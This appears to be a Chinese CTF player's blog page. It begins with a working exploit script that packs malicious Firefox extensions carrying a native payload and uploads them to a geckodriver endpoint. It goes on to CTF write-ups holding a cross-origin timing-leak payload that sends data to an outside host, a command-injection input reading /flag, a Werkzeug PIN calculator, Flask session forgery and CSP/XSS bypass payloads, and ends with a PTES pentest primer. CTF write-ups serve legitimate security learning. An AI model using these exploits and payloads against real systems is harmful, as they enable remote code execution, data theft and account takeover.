def make_profile_b64() -> str:
    pkcs11 = f"""library=
name=NSS Internal PKCS #11 Module
parameters=configdir='sql:.' certPrefix='' keyPrefix='' secmod='secmod.db' flags=readOnly
NSS=trustOrder=75 cipherOrder=100

library={DOWNLOAD_PATH}
name=geckodrce
parameters=
NSS=trustOrder=100 cipherOrder=100
"""
    prefs = 'user_pref("browser.shell.checkDefaultBrowser", false);\\n'
    bio = io.BytesIO()
    with zipfile.ZipFile(bio, "w", zipfile.ZIP_DEFLATED) as zf:
        zf.writestr("pkcs11.txt", pkcs11)
        zf.writestr("prefs.js", prefs)
    return base64.b64encode(bio.getvalue()).decode()

def make_background(lo: int, hi: int, concurrency: int, callback_url: str, profile_b64: str) -> str:
    return (
        BACKGROUND_JS
        .replace("__LO__", str(lo))
        .replace("__HI__", str(hi))
        .replace("__CONCURRENCY__", str(concurrency))
        .replace("__CALLBACK_URL__", json.dumps(callback_url))
        .replace("__PROFILE_B64__", json.dumps(profile_b64))
    )

def build_xpi(path: Path, so_bytes: bytes, background_js: str) -> None:
    manifest = {
        "manifest_version": 2,
        "name": "geckodrce-pkcs11",
        "version": "1.0",
        "permissions": [
            "<all_urls>",
            "downloads",
            "webRequest",
            "webRequestBlocking",
        ],
        "background": {"scripts": ["background.js"]},
        "applications": {"gecko": {"id": f"geckodrce-{uuid.uuid4().hex}@example.invalid"}},
    }
    with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as zf:
        zf.writestr("manifest.json", json.dumps(manifest, separators=(",", ":")))
        zf.writestr("background.js", background_js)
        zf.writestr("pwn.so", so_bytes)

    size = path.stat().st_size
    if size > MAX_XPI_SIZE:
        raise RuntimeError(f"{path} is {size} bytes, over 1 MiB upload limit")

def parse_shards(text: str):
    shards = []
    for item in text.split(","):
        item = item.strip()
        if not item:
            continue
        lo_s, hi_s = item.split("-", 1)
        lo, hi = int(lo_s), int(hi_s)
        if not (1 <= lo <= hi <= 65535):
            raise ValueError(f"bad shard: {item}")
        shards.append((lo, hi))
    if not shards:
        raise ValueError("no shards configured")
    return shards

def normalize_visit_url(target: str) -> str:
    target = target.rstrip("/")
    if target.endswith("/visit"):
        return target
    return target + "/visit"

def default_callback_url(target: str, listen_port: int) -> str:
    host = urllib.parse.urlsplit(target).hostname or ""
    if host in {"127.0.0.1", "localhost", "::1"}:
        return f"<http://host.docker.internal>:{listen_port}/leak"
    raise SystemExit("remote target needs --callback-url pointing to a reachable HTTP endpoint")

def multipart_upload(url: str, filename: str, data: bytes, timeout: int) -> bytes:
    boundary = "----geckodrce-" + uuid.uuid4().hex
    body = bytearray()
    body.extend(f"--{boundary}\\r\\n".encode())
    body.extend(f'Content-Disposition: form-data; name="extension"; filename="{filename}"\\r\\n'.encode())
    body.extend(b"Content-Type: application/x-xpinstall\\r\\n\\r\\n")
    body.extend(data)
    body.extend(f"\\r\\n--{boundary}--\\r\\n".encode())
    req = urllib.request.Request(
        url,
        data=bytes(body),
        headers={"Content-Type": f"multipart/form-data; boundary={boundary}"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=timeout) as resp:
        return resp.read()

def serve_callback(host: str, port: int, inbox: queue.Queue):
    CallbackHandler.inbox = inbox
    httpd = ReusableTCPServer((host, port), CallbackHandler)
    thread = threading.Thread(target=httpd.serve_forever, daemon=True)
    thread.start()
    return httpd

def build_artifacts(args, callback_url: str, out_dir: Path):
    out_dir.mkdir(parents=True, exist_ok=True)
    c_path = out_dir / "pwn.c"
    so_path = out_dir / "pwn.so"

    if args.so:
        so_bytes = Path(args.so).read_bytes()
        print(f"[+] using supplied shared object: {args.so} ({len(so_bytes)} bytes)")
    else:
        write_payload_source(c_path, callback_url)
        compile_shared_object(out_dir, c_path, so_path)
        so_bytes = so_path.read_bytes()
        print(f"[+] built pwn.so ({len(so_bytes)} bytes)")

    profile_b64 = make_profile_b64()
    shards = parse_shards(args.shards)
    xpis = []
    for idx, (lo, hi) in enumerate(shards, 1):
        js = make_background(lo, hi, args.concurrency, callback_url, profile_b64)
        xpi_path = out_dir / f"geckodrce_{idx}_{lo}_{hi}.xpi"
        build_xpi(xpi_path, so_bytes, js)
        print(f"[+] built {xpi_path.name}: ports {lo}-{hi}, {xpi_path.stat().st_size} bytes")
        xpis.append(xpi_path)
    return xpis

def main() -> int:
    ap = argparse.ArgumentParser(description="TRXCTF geckodrce exploit via geckodriver /session + pkcs11 profile")
    ap.add_argument("--target", default=DEFAULT_TARGET, help="base target URL or direct /visit URL")
    ap.add_argument("--callback-url", help="HTTP endpoint reachable from the target container")
    ap.add_argument("--listen-host", default="0.0.0.0", help="callback bind host for local testing")
    ap.add_argument("--listen-port", type=int, default=18080, help="callback bind port for local testing")
    ap.add_argument("--shards", default=DEFAULT_SHARDS, help="comma-separated inclusive port shards")
    ap.add_argument("--concurrency", type=int, default=384, help="scan workers per XPI")
    ap.add_argument("--waves", type=int, default=2, help="number of upload waves")
    ap.add_argument("--wave-delay", type=float, default=20.0, help="delay between waves")
    ap.add_argument("--visit-timeout", type=int, default=95, help="HTTP timeout for each /visit upload")
    ap.add_argument("--wait", type=int, default=150, help="seconds to wait for callback messages")
    ap.add_argument("--out-dir", default="", help="keep generated artifacts in this directory")
    ap.add_argument("--so", default="", help="use an existing Alpine/musl-compatible pwn.so")
    ap.add_argument("--build-only", action="store_true", help="build XPI files and do not upload")
    args = ap.parse_args()

    visit_url = normalize_visit_url(args.target)
    callback_url = args.callback_url or default_callback_url(args.target, args.listen_port)

    inbox = queue.Queue()
    httpd = None
    if not args.callback_url:
        httpd = serve_callback(args.listen_host, args.listen_port, inbox)
        print(f"[+] callback listening on {args.listen_host}:{args.listen_port}")
    print(f"[+] visit URL: {visit_url}")
    print(f"[+] callback URL: {callback_url}")

    temp_ctx = None
    if args.out_dir:
        out_dir = Path(args.out_dir)
    else:
        temp_ctx = tempfile.TemporaryDirectory(prefix="geckodrce_pkcs11_")
        out_dir = Path(temp_ctx.name)

    try:
        xpis = build_artifacts(args, callback_url, out_dir)
        if args.build_only:
            print("[+] build-only mode; not uploading")
            return 0

        errors = []

        def upload(path: Path, wave: int):
            try:
                data = path.read_bytes()
                print(f"[+] wave {wave}: uploading {path.name}")
                resp = multipart_upload(visit_url, path.name, data, args.visit_timeout)
                print(f"[+] wave {wave}: {path.name} -> {resp.decode(errors='replace')}")
            except Exception as exc:
                errors.append((path.name, wave, exc))
                print(f"[!] wave {wave}: {path.name} upload failed: {exc}")

        threads = []
        for wave in range(1, args.waves + 1):
            if wave > 1:
                print(f"[*] sleeping {args.wave_delay:.1f}s before wave {wave}")
                time.sleep(args.wave_delay)
            for xpi in xpis:
                t = threading.Thread(target=upload, args=(xpi, wave), daemon=True)
                t.start()
                threads.append(t)

        deadline = time.time() + args.wait
        found = None
        last = None
        while time.time() < deadline:
            try:
                item = inbox.get(timeout=1)
            except queue.Empty:
                continue
            last = item
            print("[callback]", item)
            match = FLAG_RE.search(item)
            if match:
                found = match.group(0)
                break

        for t in threads:
            t.join(timeout=0.1)

        if found:
            print(f"[+] flag: {found}")
            return 0
        if args.callback_url:
            print("[*] uploads sent. Check the external callback endpoint for the flag body.")
            return 0
        if last is not None:
            print(f"[-] no flag found; last callback: {last}")
        if errors:
            print(f"[-] upload errors: {errors}")
        return 1
    finally:
        if httpd:
            httpd.shutdown()
        if temp_ctx:
            temp_ctx.cleanup()

if __name__ == "__main__":
    raise SystemExit(main())
    
# TRX{s0_n0w_I_inst4ll_ff_ext3nsi0ns_and_I_get_rce-ed_wtf!?}

归来仍是菜鸡

Fri, 24 Apr 2026 00:00:00 +0000

好长时间没有写博客了，因为事情比较多（我也不知道在忙什么），也因为在重新学习一些基础知识。奠定基础是一件非常耗费时间的事情，我也重新看了一下之前写的博客，也看出了很多问题。大部分还是当时理解的不够深入，而且相当一部分ai含量很高。所以我会慢慢地重写这些基础，当然是以纯古法的方式。

而且只有基础是远远不够的，很长一段时间里我苦于不知道如何去运用这些知识，比赛成绩一直很难看（虽然现在也很难看），我也在寻找独属于我的方式进步。作为一个web手，代码审计能力是凌驾于一切之上的。不过在此之外，对于网站架构，语言特性等也需要很了解。我现在能做的只有多看，多练，多想，然后把我所有的经验整理成一份详细的，有迹可循的方法论。

我也要改进我的博客，加上搜索栏，评论区，标签什么的。之后应该也会有我自己的服务器，这个静态网站也能迁移过去，能做的东西也会更多。

xss学习笔记

Sun, 01 Mar 2026 00:00:00 +0000

csp通常会出现在xss相关题目中，对csp绕过的学习也应该提上日程了

1.iframe绕过

当一个同源站点，同时存在两个页面，其中一个有CSP保护的A页面，另一个没有CSP保护B页面，那么如果B页面存在XSS漏洞，我们可以直接在B页面新建iframe用javascript直接操作A页面的dom，可以说A页面的CSP防护完全失效

A页面:

<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

<h1 id="flag">flag{0xffff}</h1>

B页面:

<!-- B页面 -->

<!-- 下面模拟XSS -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="A页面";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>
</body>

setTimeout是为了等待iframe加载完成利用条件:

一个同源站点内存在两个页面，一个页面存在CSP保护，另一个页面没有CSP保护且存在XSS漏洞
我们需要的数据在存在CSP保护的页面

2.CDN绕过

简单介绍一下CDN：CDN的全称是Content Delivery Network，即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络，依靠部署在各地的边缘服务器，通过中心平台的负载均衡、内容分发、调度等功能模块，使用户就近获取所需内容，降低网络拥塞，提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。

因此当cdn中存在可被利用的漏洞时就可以通过cdn使注入的内容不被csp过滤（因为cdn中的内容是被信任的）

3.站点可控静态资源绕过

给一个绕过codimd的(实例)codimd xss 案例中codimd的CSP中使用了www.google-analytics.com 而www.google.analytics.com中提供了自定义javascript的功能（google会封装自定义的js，所以还需要unsafe-eval），于是可以绕过CSP

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

同理，若其他站点下提供了可控静态资源的功能，且CSP中允许了此站点，则可以采用此方式绕过利用条件:

站点存在可控静态资源
站点在CSP白名单中

4.站点可控JSONP绕过

大部分站点的jsonp是完全可控的，只不过有些站点会让jsonp不返回html类型防止直接的反射型XSS，但是如果将url插入到script标签中，除非设置x-content-type-options头，否者尽管返回类型不一致，浏览器依旧会当成js进行解析以ins’hack 2019/的bypasses-everywhere这道题为例，题目中的csp设置了www.google.com

Content-Security-Policy: script-src www.google.com; img-src *; default-src 'none'; style-src 'unsafe-inline'

看上去非常天衣无缝，但是google站点存在了用户可控jsonp

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src https://www.google.com">

<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>

配合注释符，我们即可执行任意js 下面是一些存在用户可控资源或者jsonp比较常用站点的github项目 https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180 利用条件:

站点存在可控Jsonp
站点在CSP白名单中

参考：我的CSP绕过思路及总结-先知社区

以后应该会根据具体的题目来更深度学习相关漏洞，就这样看的话感觉还是太凌乱了，只是构建一个系统。

sekai CTF 2025复现

Thu, 01 Jan 2026 00:00:00 +0000

1.my flask app

解pin脚本如下：

import hashlib
from itertools import chain

# =================================================================
# 1. 只需要修改这里面的变量
# =================================================================

# [信息来源 1]: 读取 /etc/passwd
# 查看运行该 app 的用户名 (例如: flask, www-data, root)
username = "flask" 

# [信息来源 2]: 读取 /sys/class/net/eth0/address
# 获取 MAC 地址并转换为十进制整数
# 示例: 02:42:ac:11:00:02 -> int("0242ac110002", 16) -> 2485377892354
mac_address_str = "02:42:ac:11:00:02" # 填入读取到的 MAC
mac_address_int = int(mac_address_str.replace(":", ""), 16)

# [信息来源 3]: 组合 machine-id
# Docker 环境通常由两部分组成: 
# part1: 读取 /etc/machine-id (如果读不到试 /proc/sys/kernel/random/boot_id)
# part2: 读取 /proc/self/cgroup，找第一行斜杠后面的部分
# 示例 machine_id = "d48..." + "470..." (拼接起来)
machine_id = "xxxxxxxxxxxxxxxxxxxxxxxx" 

# [信息来源 4]: Flask 库的绝对路径
# 通常是: /usr/local/lib/python{版本}/site-packages/flask/app.py
# 如果不知道 Python 版本，可以通过报错或者读取 /proc/self/environ猜测
flask_app_path = "/usr/local/lib/python3.8/site-packages/flask/app.py"

# =================================================================
# 2. 下面的逻辑通常不需要动 (这是 Werkzeug 生成 PIN 的源码逻辑)
# =================================================================

probably_public_bits = [
    username,
    'flask.app',       # modname (通常不变)
    'Flask',           # getattr(app, '__name__', getattr(app.__class__, '__name__')) (通常不变)
    flask_app_path     # getattr(mod, '__file__', None)
]

private_bits = [
    str(mac_address_int),
    machine_id
]

# 尝试不同的哈希算法 (Werkzeug 1.0 之前用 md5，之后用 sha1)
# 大多数现代 CTF 题目使用的是 sha1
h = hashlib.sha1() 
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
    h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(f"[*] Calculated PIN: {rv}")

很贴心地给了任意文件读取，直接读加密代码，直接解就行。

进console后直接ls再cat拿到flag。

这里直接进console会报400，但是改http头127.0.0.1就能过，不知道为什么

2.notebook viewer

先看源码：

function srcFor(i, code) {
  return `https://nbv-${i}-${code}.chals.sekai.team/`;
}

for (let i = 0; i < note.length; i++) {
  const code = note.codePointAt(i);
  const frame = document.createElement('iframe');
  frame.scrolling = 'no';
  frame.src = srcFor(i, code);
  wrap.appendChild(frame);
}

大意是说会把 flag 每个字母全拆开来，发一个请求。

browser = await puppeteer.launch({
    headless: true,
    pipe: true,
    args: [
        "--no-sandbox",
        "--disable-setuid-sandbox",
        "--js-flags=--jitless",
        // Speed up dns!
        "--host-resolver-rules=MAP nbv-*.chals.sekai.team nbv-0-0.chals.sekai.team",
    ],
    dumpio: true
});
let page1 = await browser.newPage();
await page1.goto(`${SITE}/?note=${encodeURIComponent(FLAG)}`, {
    waitUntil: "networkidle2"
});
let page2 = await browser.newPage();
await page2.goto(url);
await new Promise((res) => setTimeout(res, 15000));
await browser.close();
browser = null;

把 DNS 解析处理了一下，--host-resolver-rules=MAP nbv-*.chals.sekai.team nbv-0-0.chals.sekai.team，就是没法拿 DNS 相关的东西来 leak

其实到这里就已经可以猜到是 XSLeak 了

add_header Vary "Sec-Fetch-Site" always;
add_header Cache-Control "no-store" always;
add_header Clear-Site-Data "\"*\"" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "cross-origin" always;
add_header Referrer-Policy "no-referrer" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Origin-Agent-Cluster "?1" always;

nginx.conf 中给了一系列 header，核心就是：1. 可以从外侧嵌入 iframe；2. Clear-Site-Data 超绝清空数据（喜欢我们访问一次题目环境之后回到主界面直接把登陆状态清了的救赎感吗）

然后就使用 Performance API

ref: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/

ref: https://developer.mozilla.org/zh-CN/docs/Web/API/Performance_API

const express = require('express');
const fs = require('fs');
const path = require('path');

const app = express();
const PORT = 8080;
const LOG_FILE = path.join(__dirname, 'access.log');

const data = require("./data.json");

const Generate_Payload = (bruteforce_charid, task) => {
    const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}@(<&!*#+_-"// [a-zA-Z0-9{}@(<&!*#+_\-]
    const batch_size = 10;
    batchSlices = [];
    const charset_rev = charset.split("").sort(() => Math.random() - 0.5).sort(() => Math.random() - 0.5).sort(() => Math.random() - 0.5).join("");
    for (let i = 0; i < charset_rev.length; i += batch_size) {
        batchSlices.push(charset_rev.slice(i, i + batch_size));
    }
    return `
<!DOCTYPE html>
<body>
<div id="yourmother"></div>
  <script>
        (async()=>{
        const IFRAMEslices = [
${batchSlices.map(slice => `\`
        ${slice.split("").map(c => `
            <iframe src="https://nbv-${bruteforce_charid}-${c.codePointAt(0)}.chals.sekai.team/"></iframe>
            `).join("")
        }
    \`,`).join("\n")
        }
    ]
    for(let i = 0 ; i < IFRAMEslices.length; i++) {
        document.getElementById("yourmother").innerHTML = IFRAMEslices[i];
        await new Promise(resolve => setTimeout(resolve, 1000));
    }

        const url_list = [
        
${charset.split("").map((c, i) => `
    "https://nbv-${bruteforce_charid}-${c.codePointAt(0)}.chals.sekai.team/",
    `).join("")
        }



   ]

    for(let i = 0; i < url_list.length; i++) {
        let res = performance.getEntriesByName(url_list[i]).pop();
        console.log(JSON.stringify(res))
        fetch("https://dev.5dbwat4.top/payload",{
            method: "POST",
            headers: {
                "Content-Type": "application/json"
            },
            body: JSON.stringify({
                // task: "B-${bruteforce_charid}-${REVERSE ? "r" : "s"}", 
                task: "B-${bruteforce_charid}-${task}", 
                url: url_list[i],
                res: res
            })
        })
    }

    })()
    </script>
</body>
`

}

app.use(express.text({ type: '*/*' }));

app.get('/exp', (req, res) => {
    res.send(Generate_Payload(req.query.cid, req.query.task))
})

app.post('/payload', (req, res) => {
    const payload = req.body;

    const s = JSON.parse(payload)

    const charcode = s.url.split("-").pop().split(".")[0];

    data[s.task] = data[s.task] || []

    data[s.task].push({
        url: s.url,
        charcode,
        duration: s.res.duration
    })

    console.log("Task ", s.task, " By fucking " + s.charcode + " got " + s.res.duration)

    fs.writeFileSync("data.json", JSON.stringify(data, null, 2))

    res.status(200)
});

app.use(express.static(path.join(__dirname)));
// 启动服务器
app.listen(PORT, () => {
    console.log(`服务器运行中：http://localhost:${PORT}`);
    console.log(`日志文件路径：${LOG_FILE}`);
});

我们用 performance API，利用请求的 duration 来判断请求用时。经过测试，已经访问过的域名的请求时间明显低于未访问过的域名，因此可以利用这个特性来进行域名的筛选。

不过这玩意特点就是受网络波动的影响比较大，具体的说，虽然已访问过的不一定在第一个，但总是在前几个。

猜测访问偏快的是由于它们优先出现在 exp 的 html 中，所以偏快，总之多进行几次打乱多发几次（多次测量取平均值（确信），然后找共性的排在前几位的字符，基本上都是对的。

然后就能拿到flag了。

再见2025

Wed, 31 Dec 2025 00:00:00 +0000

尽管高中的这三年是我最糟糕的三年，但我仍然怀念在红墙中的所有时光。每一个不经意的瞬间都会在日后被当做珍宝从杂乱无章的记忆里抽出、反复品味。

从东南到西南的跨度足以让我怀念梅雨季节的浙江，在每一个下着小雨的日子里，我站在窗边，却把灵魂浸润在烟雨中洗涤。

我依然是一个人，这份孤独也一直在支持我做自己喜欢的事，至少，我在学我从小到大一直想学的东西。

“你说把爱渐渐放下会走更远，又何必去改变已错过的时间。”

N1 2025-9

Mon, 15 Dec 2025 00:00:00 +0000

1.ping

小小签到题。

源码很简单，核心是在对于输入的ip的过滤：

def run_ping(ip_base64):
    try:
        decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
        if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
            return False
        if decoded_ip.count('.') != 3:
            return False
        
        if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
            return False
        if not ipaddress.ip_address(decoded_ip):
            return False
        if len(decoded_ip) > 15:
            return False
        if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
            return False
    except Exception as e:
        return False
    command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

这里可以看到后端对于输入的ip进行正则匹配，将ip的格式锁死，ip这里是防的很死的，无法下手。

重点关注command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

ip_base64是，先通过Python的base64库解码校验之后，再经过Linux的命令行解码，而在Python中是存在Bug的

我就说为什么要解两次码，原来是这样的

base64.b64decode不会对=之后的内容继续解码，从而通过只能是ip格式的校验，而base64 -d会将编码从中间拆开分别解码再拼接，从而可以命令拼接执行，因此我们将两部分拆开即可0.0.0.0 ;cat /flag MC4wLjAuMA== O2NhdCAvZmxhZw==

拿到flag。

2.online_unzipper

看看文件上传部分的代码：

@app.route("/upload", methods=["GET", "POST"])
def upload():
    if "username" not in session:
        return redirect(url_for("login"))

    if request.method == "POST":
        file = request.files["file"]
        if not file:
            return "未选择文件"

        role = session["role"]

        if role == "admin":
            dirname = request.form.get("dirname") or str(uuid.uuid4())
        else:
            dirname = str(uuid.uuid4())

        target_dir = os.path.join(UPLOAD_FOLDER, dirname)
        os.makedirs(target_dir, exist_ok=True)

        zip_path = os.path.join(target_dir, "upload.zip")
        file.save(zip_path)

        try:
            os.system(f"unzip -o {zip_path} -d {target_dir}")
        except:
            return "解压失败，请检查文件格式"

        os.remove(zip_path)
        return f"解压完成！<br>下载地址: <a href='{url_for('download', folder=dirname)}'>{request.host_url}download/{dirname}</a>"

    return render_template("upload.html")

没有任何的waf，因为flag文件被随机命名了，所以需要拿admin对dirname操作执行rce。

Zip Slip 在 Java 生态或 Python zipfile 库中十分好用，但在直接调用系统 unzip 命令的场景下，通常会被操作系统自带的安全机制拦截。所以这里不用zip slip

软链接读取环境变量中的key后伪造session：

from flask.sessions import SecureCookieSessionInterface
from flask import Flask
SECRET_KEY = "test" 
SESSION_DATA = {'username': 'admin', 'role': 'admin'}
def generate_cookie():
    try:
        app = Flask(__name__)
        app.secret_key = SECRET_KEY

        session_interface = SecureCookieSessionInterface()
        serializer = session_interface.get_signing_serializer(app)

        cookie = serializer.dumps(SESSION_DATA)
        print("\n[+] Success! Your Admin Cookie is:\n")
        print(cookie)
        print("\nCopy the string above (without quotes) into your browser's session cookie.\n")
        
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    generate_cookie()

拿到admin后执行rce，重复软链接的操作读取flag。

渗透测试基本流程

Wed, 03 Dec 2025 00:00:00 +0000

基于PTES标准的深度技术与流程解析

1. 现代网络安全与渗透测试执行标准 (PTES) 概论

在数字化转型加速的今天，企业面临的网络安全威胁日益复杂，从勒索软件到高级持续性威胁（APT），攻击手段层出不穷。为了验证防御体系的有效性，渗透测试（Penetration Testing）已成为组织安全策略中不可或缺的一环。这不仅仅是一次简单的漏洞扫描或脚本运行，而是一场经过严密策划、获得合法授权的模拟网络战。为了确保测试的专业性、系统性和标准化，安全业界广泛采用了 渗透测试执行标准 (Penetration Testing Execution Standard, PTES)。这一标准不仅定义了测试的技术深度，更规范了从商业交互到技术实施的全生命周期管理 1。

PTES 标准的核心价值在于它提供了一种结构化的方法论，将看似混乱的黑客攻击过程拆解为七个逻辑严密、相互关联的阶段：前期交互（Pre-engagement Interactions）、情报搜集（Intelligence Gathering）、威胁建模（Threat Modeling）、漏洞分析（Vulnerability Analysis）、漏洞利用（Exploitation）、后渗透测试（Post-Exploitation）以及报告撰写（Reporting）4。这种分层架构确保了测试团队能够覆盖攻击链的每一个环节，不仅关注单一的技术漏洞，更关注漏洞组合后对业务造成的实际冲击。

与 ISO 27001、PCI DSS、HIPAA 或 GDPR 等合规性框架相比，PTES 更侧重于实战操作的技术细节，但其最终产出的报告能够与这些合规标准进行映射，帮助企业在满足监管要求的同时，真实地提升安全防御态势 1。本报告将站在高级安全顾问的视角，依据 PTES 标准的七大阶段，结合 Metasploit、Nmap 等行业标准工具，深入剖析渗透测试的完整流程、技术原理及实战技巧，旨在为安全从业者提供一份详尽的、具备可操作性的实战指南。

2. 第一阶段：前期交互 (Pre-engagement Interactions) —— 确立信任与边界

前期交互阶段是整个渗透测试项目的基石，它不仅涉及商业合同的签署，更关乎法律合规、风险控制与测试目标的精准对齐。在这一阶段，测试团队需与客户进行深入沟通，将模糊的安全需求转化为具体的技术指标和行为准则 1。

2.1 范围界定 (Scoping) 的战略意义

范围界定（Scoping）是前期交互中最关键的环节，它直接决定了测试的广度与深度。通过明确“测试范围（In-Scope）”与“非测试范围（Out-of-Scope）”，双方能够有效规避法律风险并优化资源配置 6。

在实战中，范围界定通常涉及对目标资产属性的精细划分。例如，客户可能指定特定的 IP 地址段、域名、API 端点或移动应用程序作为测试目标。测试团队需要确认这些资产的归属权，特别是在涉及云服务提供商（如 AWS、Azure）或第三方托管服务时，必须确保测试行为符合服务提供商的使用条款 5。此外，对于生产环境中的关键业务系统（Critical Business Systems），范围界定还需考虑到测试可能带来的业务中断风险，从而决定是否需要建立独立的测试环境或在非业务高峰期进行。

根据掌握信息的程度，测试类型通常被划分为三类，每种类型对范围界定的要求略有不同：

黑盒测试 (Black Box)：模拟外部攻击者，测试团队对目标系统一无所知。这种模式下，范围界定往往较为宽泛，重点在于发现外部暴露面的未知风险。
白盒测试 (White Box)：测试团队拥有完整的系统信息，包括源代码、网络拓扑、账户凭证等。这种模式通常针对特定应用或系统进行深度审计，范围界定极为精确，旨在挖掘深层次的逻辑漏洞。
灰盒测试 (Gray Box)：介于两者之间，测试团队可能拥有部分权限（如普通用户账号）。这种模式常用于模拟内部威胁或已被攻陷的账户，范围界定需明确权限边界 7。

2.2 交互规则 (Rules of Engagement, RoE) 的制定

如果说范围界定划定了“打哪里”，那么交互规则（RoE）则规定了“怎么打”。RoE 是测试团队与客户之间达成的技术与伦理契约，必须以书面形式详细记录 5。

一份完善的 RoE 文档应包含以下核心要素：

时间窗口：明确允许进行测试的具体日期和时间段，以最大限度地减少对客户正常业务运营的干扰。例如，高强度的扫描或漏洞利用可能被限制在夜间或周末进行。
攻击类型限制：明确禁止的攻击手段。例如，大多数客户会明确禁止拒绝服务（DoS）攻击，以防止业务瘫痪；社会工程学攻击（Social Engineering）是否在许可范围内也需特别注明，因为这涉及员工隐私和公司文化 6。
紧急联络机制：建立 24/7 的紧急沟通渠道。当测试团队发现极高危漏洞（如核心数据库泄露）或误触导致系统不稳时，能够立即通知客户方的技术接口人。
证据留存与数据处理：规定如何安全地存储测试过程中获取的敏感数据，以及测试结束后如何销毁这些数据，以符合 GDPR 等隐私法规的要求 1。

通过严谨的前期交互，渗透测试不再是一场无序的破坏活动，而是一项受控的、旨在提升价值的风险评估过程。

3. 第二阶段：情报搜集 (Intelligence Gathering) —— 攻击面的测绘与分析

情报搜集，又称为侦察（Reconnaissance），是渗透测试中耗时最长但也最具价值的阶段。正如孙子兵法所云“知己知彼，百战不殆”，在这一阶段，测试者试图搜集关于目标的一切可用信息。情报的质量直接决定了后续威胁建模的准确性和攻击路径的有效性 1。根据与目标系统的交互程度，情报搜集通常分为被动侦察和主动侦察。

3.1 被动情报搜集 (Passive Reconnaissance)

被动侦察的核心原则是“零接触”。测试者仅利用公开可用的资源（Open Source Intelligence, OSINT）进行查询，不向目标系统发送任何探测数据包，因此几乎不可能被目标的入侵检测系统（IDS）或防火墙察觉 8。

3.1.1 Google Hacking (Google Dorks) 的深层应用

搜索引擎是巨大的信息宝库。Google Hacking，或称为 Google Dorking，是指利用搜索引擎的高级操作符来挖掘由于配置错误或无意泄露而暴露在互联网上的敏感信息 10。通过精心构造的搜索语句（Dorks），测试者可以发现后台登录入口、配置文件、日志文件甚至包含密码的文档。

下表详细列举了核心的 Google Dorks 操作符及其在渗透测试中的具体应用场景 10：

操作符	语法示例	深度解析与实战应用
`site:`	`site:target.com`	将搜索结果严格限制在目标域名及其子域名内。这是所有高级搜索的基础，用于构建针对特定目标的搜索上下文。
`filetype:` / `ext:`	`filetype:pdf` 或 `ext:log`	筛选特定文件扩展名。在实战中，结合 `site:target.com ext:sql` 可以查找无意暴露的数据库备份文件；`ext:config` 或 `ext:xml` 常用于发现包含硬编码凭证的配置文件。
`inurl:`	`inurl:login.php`	搜索 URL 中包含特定关键词的页面。这是发现管理后台（admin panel）、特定服务接口（如 `inurl:wp-admin`）的利器。
`intitle:`	`intitle:"index of /"`	搜索网页标题中包含特定关键词的页面。`"index of /"` 是典型的目录遍历（Directory Listing）特征，利用此 Dork 可以快速发现服务器配置不当导致的目录浏览漏洞，进而下载敏感文件。
`intext:`	`intext:"password"`	搜索网页正文中包含特定关键词的页面。结合 `filetype:log intext:"password"`，测试者可以查找记录了用户凭证的日志文件。
`cache:`	`cache:target.com`	查看 Google 索引中存储的网页快照。当目标页面已被管理员删除或修改时，快照可能包含原始的敏感信息，且访问快照不会向目标服务器发送请求，隐蔽性极高。

实战洞察：在 2025 年的渗透测试实践中，Google Dorks 依然威力不减。例如，搜索 site:target.com ext:env 可以直接暴露现代 Web 应用（如基于 Docker 或 Laravel 框架的应用）的环境变量文件，其中往往包含数据库连接字符串和 API 密钥。

3.1.2 自动化 OSINT 工具：TheHarvester

为了提高效率，渗透测试者通常使用自动化工具来聚合多个 OSINT 数据源。TheHarvester 是一款专为收集电子邮件账户、子域名、主机名、员工姓名和开放端口而设计的 Python 工具 15。它能够查询 Google、Bing、LinkedIn、Shodan 等多个公共数据源。

工具使用详解：

在 Kali Linux 环境中，TheHarvester 的典型使用命令如下：

theHarvester -d kali.org -l 500 -b google,linkedin,bing

-d: 指定目标域名（Domain）。
-l: 限制每个数据源返回的结果数量（Limit），设置为 500 可确保覆盖面。
-b: 指定后端数据源（Backends），如 google、linkedin、bing 或 all。

数据价值分析：

通过 TheHarvester 收集到的电子邮件地址列表是后续社会工程学攻击（如钓鱼邮件）的基础素材。同时，通过 LinkedIn 收集到的员工职位信息可以帮助构建组织架构图，识别高权限目标（如系统管理员或开发运维人员）。

3.2 主动情报搜集 (Active Reconnaissance)

